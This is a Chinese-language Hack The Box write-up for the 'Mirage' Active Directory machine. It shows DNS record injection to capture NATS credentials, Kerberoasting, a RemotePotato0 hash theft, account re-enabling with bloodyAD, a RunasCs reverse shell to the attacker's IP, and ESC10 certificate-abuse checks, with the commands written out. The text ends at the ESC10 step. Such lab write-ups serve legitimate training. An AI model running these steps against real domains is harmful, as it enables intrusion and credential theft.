本文介绍了在HTB(Hack The Box)平台上完成名为“Mirage”的挑战的详细过程。通过使用Nmap扫描和NFS挂载,发现了目标域控制器上的DNS服务缺陷,并利用该缺陷进行DNS记录注入。接下来,通过捕获NATS凭证和使用Bloodhound工具,获取了多名用户的凭证,最终实现了对目标系统的访问。文章详细描述了多个攻击步骤,包括会话中继攻击和特权提升技巧,展示了如何利用Active Directory的弱点进行渗透测试和权限提升。

Recon

使用nmap扫描后发现目标是域控制器因为它运行着 Kerberos、DNS 和 LDAP 等服务 。


NFS

我们发现NFS,其中共享可能设置不当(对所有人开放)

sudo showmount -e mirage.htb
Export list for mirage.htb:
/MirageReports (everyone)

接着我们挂载

mkdir mnt
sudo mount -t nfs -o rw,vers=3 mirage.htb:/MirageReports mnt
ls mnt

# 得到两个文件:
# Incident_Report_Missing_DNS_Record_nats-svc.pdf
# Mirage_Authentication_Hardening_Report.pdf

但是我们阅读不了,我们可以使用我们的来root阅读

sudo su root -c 'open Mirage_Authentication_Hardening_Report.pdf'

阅读两个文件得到:

目标DNS(nats-svc.marige.htb)缺失

DNS动态更新启用”Nonsecure and secure”

我们可以使用nsupdate添加dns记录然后使用dig命令验证更改是否有效

image
image

nats-svc 是内部 NATS 消息传递系统进行通信的关键主机名 。通过将该记录指向自己的机器,攻击者可以劫持目标主机(域控制器)原本发送给 NATS 服务器的所有流量 。 启动nats服务器捕获NATS凭证

在后台开启wireshark

启动监听

image

发送数据

image
image

发现凭据Dev_Account_A:hx5h7F5554fP@1337!

我们查看一下该NATS账户的信息

┌──(kali㉿kali)-[~/Work/HTB/Mirage]
└─$ nats -s nats://mirage.htb:4222 account info --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
Account Information

                           User: Dev_Account_A
                        Account: dev
                        Expires: never
                      Client ID: 2,667
                      Client IP: 10.10.16.62
                            RTT: 737ms
              Headers Supported: true
                Maximum Payload: 1.0 MiB
                  Connected URL: nats://mirage.htb:4222
              Connected Address: 10.10.11.78:4222
            Connected Server ID: NDLABXIJSHUIEZ55FY2KFT7OIJLU6ELDCAA5VNSCT2KVOB5QVBJ6LDF2
       Connected Server Version: 2.11.3
                 TLS Connection: no

JetStream Account Information:

Account Usage:

                        Storage: 570 B
                         Memory: 0 B
                        Streams: 1
                      Consumers: 0

Account Limits:

            Max Message Payload: 1.0 MiB

  Tier: Default:

      Configuration Requirements:

        Stream Requires Max Bytes Set: false
         Consumer Maximum Ack Pending: Unlimited

      Stream Resource Usage Limits:

                               Memory: 0 B of Unlimited 
                    Memory Per Stream: Unlimited
                              Storage: 570 B of Unlimited (1.0 MiB reserved)
                   Storage Per Stream: Unlimited
                              Streams: 1 of Unlimited
                            Consumers: 0 of Unlimited

查看streams

image

查看auth_logs流

image

获取第二个凭据david.jjackson:pN8kQmn6b86!1234@

Foothold

设置一下时间

sudo net time set -S dc01.mirage.htb

image

现在可以启动Bloodhound

进入后我们寻找SPN用户

image
image

破解该hash得到凭据nathan.aadam:3edc#EDC3

导出他的票据

就可以使用evil-winRm登录到目标

impacket-getTGT mirage.htb/nathan.aadam:'3edc#EDC3’

export KRB5CCNAME=nathan.aadam.ccache

image

配置/etc/krb5.conf

[libdefaults]
    default_realm = MIRAGE.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false
    rdns = false

[realms]
    MIRAGE.HTB = {
        kdc = dc01.mirage.htb
        admin_server = dc01.mirage.htb
    }

[domain_realm]
    .mirage.htb = MIRAGE.HTB
    mirage.htb = MIRAGE.HTB

即可登录evil-winrm


Lateral Movement

image

explorer为1意味着有人登陆在该服务器,qwinsta显示会话得到错误

image

是因为我们通过网络连接到服务器(远程用户),权限很低。使用tasklist一样会失败

我们需要工具RunasCs

image
💡
查看mark.bbond的出站控制,发现

Cross Session Relay Attack(跨会话中继攻击)

用户 MARK.BBOND 目前处于活动会话状态。可以使用 RemotePotato0 工具窃取该用户的哈希值。

image

得到mark.bbond:1day@atime

下一步修改JAVIER.MMARSHALL(是一个disabled user)的密码

┌──(kali㉿kali)-[~/Work/HTB/Mirage]
└─$ bloodyAD --host dc01.mirage.htb -d mirage.htb -u mark.bbond -p '1day@atime' -k set password javier.mmarshall 'Password123!'
[+] Password changed successfully!

# 运行后
bloodyAD --host dc01.mirage.htb -d mirage.htb -u mark.bbond -p '1day@atime' -k get object javier.mmarshall
# 输出
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

# 移除UAC
┌──(kali㉿kali)-[~/Work/HTB/Mirage]
└─$ bloodyAD --host dc01.mirage.htb -d mirage.htb -u mark.bbond -p '1day@atime' -k remove uac javier.mmarshall -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from javier.mmarshall's userAccountControl

当我们尝试登录

image

依然不能登录。可能还有其他因素影响

# 回顾get objec时发现
istinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
logonHours:  # 为空
# 我们不知道出现什么才可以,所以我们用我们知道的去做对比get object mark.bbond
distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
logonHours: ////////////////////////////

如果是最新版bloodyAD可以使用: 第一种方法:bloodyAD --host dc01.mirage.htb -d mirage.htb -u mark.bbond -p '1day@atime' -k set object javier.mmarshall logonhours -v '////////////////////////////' --b64

第二种方法
# 导出mark.bbondTGT以便ldapwhoami 和 net rpc 可以正常工作
$ impacket-getTGT mirage.htb/mark.bbond:'1day@atime'
$ export KRB5CCNAME=mark.bbond.ccache
$ cat change.ldif
dn: CN=JAVIER.MMARSHALL,OU=USERS,OU=DISABLED,DC=MIRAGE,DC=HTB
changetype: modify
replace: logonHours
logonHours:: ////////////////////////////
$ ldapmodify -f change.ldif -Y GSSAPI -H ldap://dc01.mirage.htb
SASL/GSSAPI authentication started
SASL username: mark.bbond@MIRAGE.HTB
SASL SSF: 256
SASL data security layer installed.
modifying entry "CN=JAVIER.MMARSHALL,OU=USERS,OU=DISABLED,DC=MIRAGE,DC=HTB"
# 但是我的kali出现错误:Server not found in Kerberos database

 

我使用的方法

# 获取到shell
PS .\RunasCs.exe mark.bbond 1day@atime cmd.exe -r 10.10.16.62:4444
# 转换为64进制
PS $hours = (Get-ADUser nathan.aadam -Properties logonHours).logonHours
PS $bytes = [byte[]]$hours
PS [Convert]::ToBase64String($bytes)
////////////////////////////
PS $logonHours_b64 = "////////////////////////////"
PS $logonHours = [Convert]::FromBase64String($logonHours_b64)
PS Set-ADUser javier.mmarshall -Replace @{logonHours=$logonHours}

PrivEsc

image

查看服务写权限

bloodyAD --host dc01.mirage.htb -d mirage.htb -u 'Mirage-Service$' -k get writable --detail

发现对mark.bbond的userPrincipalName可写

我们有服务账户,可以查看AD CS攻击Certipy

可以使用certipy查看是否有漏洞

certipy find -vunlnerable -u ‘mark.bbond@mirage,htb’ -k -dc-ip 10.10.11.78 -stdout -target dc01.mirage.htb

PS Get-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc"
# UPN 篡改(需要在域控制器上启用 StrongCertificateBindingEnforcement = 1 或 0 ,并且攻击者拥有对“受害者”帐户 UPN 的写入权限)
PS Get-Item -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL'
# CertificateMappingMethods : 4

满足ESC10